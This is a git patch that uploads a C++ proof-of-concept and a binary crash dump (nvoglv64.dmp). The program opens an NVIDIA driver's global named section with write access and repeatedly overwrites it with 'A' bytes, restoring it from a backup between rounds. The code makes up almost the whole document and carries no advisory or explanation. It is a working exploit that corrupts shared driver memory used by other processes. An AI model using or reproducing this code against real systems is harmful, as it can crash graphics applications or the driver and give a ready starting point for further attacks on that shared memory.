From 1d207bc33c240c32a2f1c0a00481d2cd6571ec84 Mon Sep 17 00:00:00 2001 From: INFINITE NIGHTMARE Date: Sun, 30 Aug 2026 00:51:22 +0200 Subject: [PATCH] Add files via upload --- GreenSection.cpp | 216 +++++++++++++++++++++++++++++++++++++++++++++++ nvoglv64.dmp | Bin 0 -> 180154 bytes 2 files changed, 216 insertions(+) create mode 100644 GreenSection.cpp create mode 100644 nvoglv64.dmp diff --git a/GreenSection.cpp b/GreenSection.cpp new file mode 100644 index 0000000..992c06d --- /dev/null +++ b/GreenSection.cpp @@ -0,0 +1,216 @@ + + +#include +#include +#include +#include +#pragma comment(lib, "ntdll.lib") + + +typedef enum _SECTION_INFORMATION_CLASS +{ + SectionBasicInformation, + SectionImageInformation, + SectionRelocationInformation, + SectionOriginalBaseInformation, + SectionInternalImageInformation, + MaxSectionInfoClass +} SECTION_INFORMATION_CLASS; +typedef struct _SECTIONBASICINFO { + PVOID BaseAddress; + ULONG AllocationAttributes; + LARGE_INTEGER MaximumSize; +} SECTION_BASIC_INFORMATION, * PSECTION_BASIC_INFORMATION; + +typedef enum _SECTION_INHERIT +{ + ViewShare = 1, // The mapped view of the section will be mapped into any child processes created by the process. + ViewUnmap = 2 // The mapped view of the section will not be mapped into any child processes created by the process. +} SECTION_INHERIT; + + + +NTSTATUS (WINAPI* _NtOpenSection)( + PHANDLE SectionHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes +); + + NTSTATUS(WINAPI* _NtCreateSection)( + PHANDLE SectionHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + PLARGE_INTEGER MaximumSize, + ULONG SectionPageProtection, + ULONG AllocationAttributes, + HANDLE FileHandle +); + + NTSTATUS(WINAPI* _NtQuerySection)( + HANDLE SectionHandle, + SECTION_INFORMATION_CLASS SectionInformationClass, + PVOID SectionInformation, + SIZE_T SectionInformationLength, + PSIZE_T ReturnLength + ); + + + NTSTATUS (WINAPI* _NtMapViewOfSection)( + HANDLE SectionHandle, + HANDLE ProcessHandle, + PVOID* BaseAddress, + ULONG_PTR ZeroBits, + SIZE_T CommitSize, + PLARGE_INTEGER SectionOffset, + PSIZE_T ViewSize, + SECTION_INHERIT InheritDisposition, + ULONG AllocationType, + ULONG Win32Protect + ); + +NTSTATUS (WINAPI* _NtUnmapViewOfSection)( + HANDLE ProcessHandle, + PVOID BaseAddress + ); + +int main() +{ + _NtOpenSection = (NTSTATUS(WINAPI*)( + PHANDLE SectionHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes))GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtOpenSection"); + _NtCreateSection = (NTSTATUS(WINAPI*)( + PHANDLE SectionHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + PLARGE_INTEGER MaximumSize, + ULONG SectionPageProtection, + ULONG AllocationAttributes, + HANDLE FileHandle + ))GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCreateSection"); + _NtQuerySection = (NTSTATUS(WINAPI*)( + HANDLE SectionHandle, + SECTION_INFORMATION_CLASS SectionInformationClass, + PVOID SectionInformation, + SIZE_T SectionInformationLength, + PSIZE_T ReturnLength + ))GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySection"); + _NtMapViewOfSection = (NTSTATUS(WINAPI*)( + HANDLE SectionHandle, + HANDLE ProcessHandle, + PVOID * BaseAddress, + ULONG_PTR ZeroBits, + SIZE_T CommitSize, + PLARGE_INTEGER SectionOffset, + PSIZE_T ViewSize, + SECTION_INHERIT InheritDisposition, + ULONG AllocationType, + ULONG Win32Protect))GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtMapViewOfSection"); + _NtUnmapViewOfSection = (NTSTATUS(WINAPI*)( + HANDLE ProcessHandle, + PVOID BaseAddress + ))GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtUnmapViewOfSection"); + + + HANDLE hsection = NULL; + UNICODE_STRING section_path; + RtlInitUnicodeString(§ion_path, L"\\BaseNamedObjects\\{52813408-3561-4705-820a-2b3b78be92ba}"); + OBJECT_ATTRIBUTES objattr = { 0 }; + InitializeObjectAttributes(&objattr, §ion_path, OBJ_CASE_INSENSITIVE, NULL, NULL); + + NTSTATUS stat = _NtOpenSection(&hsection, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_QUERY | DELETE, &objattr); + if (stat) + { + printf("NVIDIA global section was not found.\n"); + return 1; + } + SECTION_BASIC_INFORMATION sbi = { 0 }; + SIZE_T retbytes = 0; + stat = _NtQuerySection(hsection, SectionBasicInformation, &sbi, sizeof(sbi), &retbytes); + if (stat) + { + printf("Failed to query NVIDIA section size.\n"); + return 1; + } + HANDLE hduplicate = NULL; + InitializeObjectAttributes(&objattr, NULL, OBJ_CASE_INSENSITIVE, NULL, NULL); + stat = _NtCreateSection(&hduplicate, GENERIC_ALL, &objattr, &sbi.MaximumSize, PAGE_READWRITE, SEC_COMMIT, NULL); + if (stat) + { + printf("Failed create backup section, error : 0x%0.8X\n", stat); + return 1; + } + + PVOID nvsection = NULL; + SIZE_T nvviewsz = sbi.MaximumSize.QuadPart; + + stat = _NtMapViewOfSection(hsection, GetCurrentProcess(), &nvsection, NULL, NULL, NULL, &nvviewsz, ViewUnmap, NULL, PAGE_READWRITE); + if (stat) + { + printf("Failed map nvidia global section, error : 0x%0.8X\n", stat); + return 1; + } + + + + void* nvbackup = NULL; + SIZE_T backupviewsz = sbi.MaximumSize.QuadPart; + + stat = _NtMapViewOfSection(hduplicate, GetCurrentProcess(), &nvbackup, NULL, NULL, NULL, &backupviewsz, ViewUnmap, NULL, PAGE_READWRITE); + if (stat) + { + printf("Failed map backup section, error : 0x%0.8X\n", stat); + return 1; + } + + try { + memmove(nvbackup, nvsection, backupviewsz); + } + catch (...) { + + printf("Failed to backup nvidia global section data"); + return 1; + } + do { + printf("Press anything to corrupt nvidia global section."); + if (_getch() == 27) // ESC + goto cleanup; + printf("\n"); + try { + memset(nvsection, 'A', nvviewsz); + } + catch (...) { + + printf("Failed to corrupt nvidia global section data"); + return 1; + } + printf("Press anything to restore nvidia global section."); + if (_getch() == 27) // ESC + goto cleanup; + printf("\n"); + try { + memmove(nvsection, nvbackup, backupviewsz); + } + catch (...) { + + printf("Failed to restore nvidia global section data"); + return 1; + } + } while (1); + + +cleanup: + + memmove(nvsection, nvbackup, backupviewsz); + if (hduplicate) + NtClose(hduplicate); + if (hsection) + NtClose(hsection); + if (nvsection) + _NtUnmapViewOfSection(GetCurrentProcess(), nvsection); + if (nvbackup) + _NtUnmapViewOfSection(GetCurrentProcess(), nvbackup); + + return 0; +} + diff --git a/nvoglv64.dmp b/nvoglv64.dmp new file mode 100644 index 0000000000000000000000000000000000000000..b4d812fa121c34eb1577d496cb1844e83b4aac0e GIT binary patch literal 180154 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 